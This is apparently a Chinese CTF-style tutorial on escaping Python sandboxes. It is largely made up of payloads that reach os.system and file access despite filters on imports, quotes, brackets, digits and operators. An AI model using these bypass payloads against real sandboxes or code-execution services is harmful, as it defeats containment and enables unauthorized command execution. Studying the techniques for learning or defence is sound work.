详解:https://www.freebuf.com/articles/system/203208.html

为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中。沙箱经常会禁用一些敏感的函数和模块,例如 os

沙箱逃逸就是绕过某些函数,特殊字符串,或模块的限制,达到一个漏洞环境

1.Python命令执行

在 Python 中执行系统命令的方式有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
os

commands:仅限2.x

subprocess

timeit:timeit.sys、timeit.timeit("__import__('os').system('whoami')", number=1)

platform:platform.os、platform.sys、platform.popen('whoami', mode='r', bufsize=-1).read()

pty:pty.spawn('ls')、pty.os

bdb:bdb.os、cgi.sys

cgi:cgi.os、cgi.sys

...

2.命令执行沙箱逃逸

import

  • 禁用import os肯定是不行的:
1
2
3
4
import  os
import os
import os
...
  • 如果多个空格也过滤了,还有__import__:__import__('os')importlib:importlib.import_module('os').system('ls')

  • 甚至可以用 execfile 来代替:

1
2
execfile('/usr/lib/python2.7/os.py')
system('ls')

不过要注意,2.x 才能用,3.x 删了 execfile,不过可以这样:

1
2
3
with open('/usr/lib/python3.6/os.py','r') as f:
exec(f.read())
system('ls')
  • 不过要使用上面的方法,就必须知道库的路径。其实在大多数的环境下,库都是默认路径。如果 sys 没被过滤的话,还可以确认一下:
1
2
import sys
print(sys.path)

处理字符串

代码中要是出现 os,直接不让运行。那么可以利用字符串的各种变化来引入 os:

  • 字符串数组逆序
1
__import__('so'[::-1]).system('ls')
  • 字符串拼接
1
2
3
b = 'o'
a = 's'
__import__(a+b).system('ls')
  • 还可以利用 eval 或者 exec:
1
2
3
4
5
>>> eval(')"imaohw"(metsys.)"so"(__tropmi__'[::-1])
yan
0
>>> exec(')"imaohw"(metsys.so ;so tropmi'[::-1])
yan

eval、exec 都是相当危险的函数,exec 比 eval 还要危险,它们一定要过滤

因为字符串有很多变形的方式,对字符串的处理可以有:逆序、变量拼接、base64、hex、rot13…等等

1
2
3
4
5
6
7
8
9
10
['__builtins__'] 
['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']
[u'\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f']
['X19idWlsdGluc19f'.decode('base64')]
['__buil'+'tins__']
['__buil''tins__']
['__buil'.__add__('tins__')]
["_builtins_".join("__")]
['%c%c%c%c%c%c%c%c%c%c%c%c' % (95, 95, 98, 117, 105, 108, 116, 105, 110, 115, 95, 95)]
...

恢复 sys.modules

利用del sys.modules['os'],当 import 一个模块时:import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A。

所以删了sys.modules['os']会让 Python 重新加载一次 os。

1
2
3
4
5
sys.modules['os'] = 'not allowed' # oj 为你加的

del sys.modules['os']
import os
os.system('ls')

执行函数

  • os 中能够执行系统命令的函数:
1
2
3
4
5
6
print(os.system('whoami'))
print(os.popen('whoami').read())
print(os.popen2('whoami').read()) # 2.x
print(os.popen3('whoami').read()) # 2.x
print(os.popen4('whoami').read()) # 2.x
...
  • 通过 getattr 拿到对象的方法、属性:
1
2
import os
getattr(os, 'metsys'[::-1])('whoami')

不出现 import 也可以:

1
2
3
>>> getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')
yan
0

builtins

在 Python 中,有很多函数不需要任何 import 就可以直接使用,例如chropen。之所以可以这样,是因为 Python 有个叫内建模块(或者叫内建命名空间)的东西,它有一些常用函数,变量和类

1
2
3
4
5
6
7
8
9
>>> '__import__' in dir(__builtins__)
True
>>> __builtins__.__dict__['__import__']('os').system('whoami')
macr0phag3
0
>>> 'eval' in dir(__builtins__)
True
>>> 'execfile' in dir(__builtins__)
True

这里稍微解释下x.__dict__,它是 x 内部所有属性名和属性值组成的字典,有以下特点:

  1. 内置的数据类型没有 __dict__ 属性
  2. 每个类有自己的 __dict__ 属性,就算存着继承关系,父类的 __dict__ 并不会影响子类的 __dict__
  3. 对象也有自己的 __dict__ 属性,包含 self.xxx 这种实例属性

那么既然__builtins__有这么多危险的函数,后台可能将里面的危险函数破坏了:

1
__builtins__.__dict__['eval'] = 'not allowed'

或者直接删了:

1
del __builtins__.__dict__['eval']

但是我们可以利用 reload(__builtins__) 来恢复 __builtins__

不过,我们在使用 reload 的时候也没导入,说明 reload也在 __builtins__

那如果连reload都从__builtins__中删了,就没法恢复__builtins__了,需要另寻他法。

还有一种情况是利用 exec command in _global 动态运行语句时的绕过

通过继承关系逃逸

利用.__mro__.mro(),记录了继承关系:

1
2
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

3.文件读写沙箱逃逸

2.x 有个内建的 file:

1
2
3
4
5
>>> file('key').read()
'Macr0phag3\n'
>>> file('key', 'w').write('Macr0phag3')
>>> file('key').read()
'Macr0phag3'

还有个 open,2.x 与 3.x 通用。

还有一些库,例如:types.FileType(rw)、platform.popen(rw)、linecache.getlines(r)

为什么说写比读危害大呢?因为如果能写,可以将类似的文件保存为math.py,然后 import 进来:

math.py:

1
2
3
import os

print(os.system('whoami'))

调用

1
2
3
>>> import math
yan
0

这里需要注意的是,这里 py 文件命名是有技巧的。之所以要挑一个常用的标准库是因为过滤库名可能采用的是白名单。并且之前说过有些库是在sys.modules中有的,这些库无法这样利用,会直接从sys.modules中加入,比如re:

1
2
3
4
5
>>> 're' in sys.modules
True
>>> 'math' in sys.modules
False
>>>

当然在import re 之前使用del sys.modules['re']也不是不可以…

最后,这里的文件命名需要注意的地方和最开始的那个遍历测试的文件一样:由于待测试的库中有个叫 test的,如果把遍历测试的文件也命名为 test,会导致那个文件运行 2 次,因为自己 import 了自己。

剩下的就是根据上面的执行系统命令采用的绕过方法去寻找 payload 了,比如:

1
2
>>> __builtins__.open('key').read()
'yan\n'

或者

1
2
>>> ().__class__.__base__.__subclasses__()[40]('key').read()
'yan'

4.其他

过滤中括号

应对的方式就是将[]的功能用 pop、__getitem__ 代替(实际上a[0]就是在内部调用了a.__getitem__(0)):

1
2
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.get('linecache').os.popen('whoami').read()
'macr0phag3\n'

当然,dict 也是可以 pop 的:{"a": 1}.pop("a")

当然也可以用 next(iter()) 替代,或许可以加上 max 之类的玩意。

过滤引号

  • 最简单就是用 chr
1
2
3
os.system(
chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)
)
  • 扣字符

利用 str 和 [],挨个把字符拼接出来

1
2
3
os.system(
str(().__class__.__new__)[21]+str(().__class__.__new__)[13]+str(().__class__.__new__)[14]+str(().__class__.__new__)[40]+str(().__class__.__new__)[10]+str(().__class__.__new__)[3]
)

当然 [] 如果被过滤了也可以 bypass,前面说过了。
如果 str 被过滤了怎么办呢?type('')()、format() 即可。同理,int、list 都可以用 type 构造出来。

  • 格式化字符串

那过滤了引号,格式化字符串还能用吗?

1
(chr(37)+str({}.__class__)[1])%100 == 'd'
  • dict() 拿键
1
2
3
'whoami' ==
list(dict(whoami=1))[0] ==
str(dict(whoami=1))[2:8] ==

限制数字

上面提到了字符串过滤绕过,顺便说一下,如果是过滤了数字(虽然这种情况很少见),那绕过的方式就更多了,我这里随便列下:

  • 0:int(bool([]))、Flase、len([])、any(())
  • 1:int(bool([“”]))、True、all(())、int(list(list(dict(a၁=())).pop()).pop())
  • 获取稍微大的数字:len(str({}.keys)),不过需要慢慢找长度符合的字符串
  • 1.0:float(True)
  • -1:~0

其实有了 0 就可以了,要啥整数直接做运算即可:

1
2
3
4
5
0 ** 0 == 1
1 + 1 == 2
2 + 1 == 3
2 ** 2 == 4
...

任意浮点数稍微麻烦点,需要想办法运算,但是一定可以搞出来,除非是 π 这种玩意…

限制空格

空格通常来说可以通过 ()[] 替换掉。例如:

[i for i in range(10) if i == 5] 可以替换为 [[i][0]for(i)in(range(10))if(i)==5]

限制运算符

> < ! - + 这几个比较简单就不说了。

== 可以用 in 来替换。

  • 替换 or 的测试代码
1
2
3
4
5
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] or i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} | {i[2]==i[3]}')) == ans)
print(bool(eval(f'- {i[0]==i[1]} - {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} + {i[2]==i[3]}')) == ans)

上面这几个表达式都可以替换掉 or

  • 替换 and 的测试代码
1
2
3
4
for i in [(100, 100, 1, 1), (100, 2, 1, 2), (100, 100, 1, 2), (100, 2, 1, 1)]:
ans = i[0]==i[1] and i[2]==i[3]
print(bool(eval(f'{i[0]==i[1]} & {i[2]==i[3]}')) == ans)
print(bool(eval(f'{i[0]==i[1]} * {i[2]==i[3]}')) == ans)

上面这几个表达式都可以替换掉 and

限制括号()

这种情况下通常需要能够支持 exec 执行代码。因为有两种姿势:

  • 利用装饰器 @
  • 利用魔术方法,例如 enum.EnumMeta.__getitem__

利用新特性

PEP 498 引入了 f-string,利用方式:

1
2
3
>>> f'{__import__("os").system("whoami")}'
yan
'0'

利用反序列化

详见pickle反序列化:https://hades-blog.github.io/2024/02/13/%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93-web%E5%AE%89%E5%85%A8-pickle%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/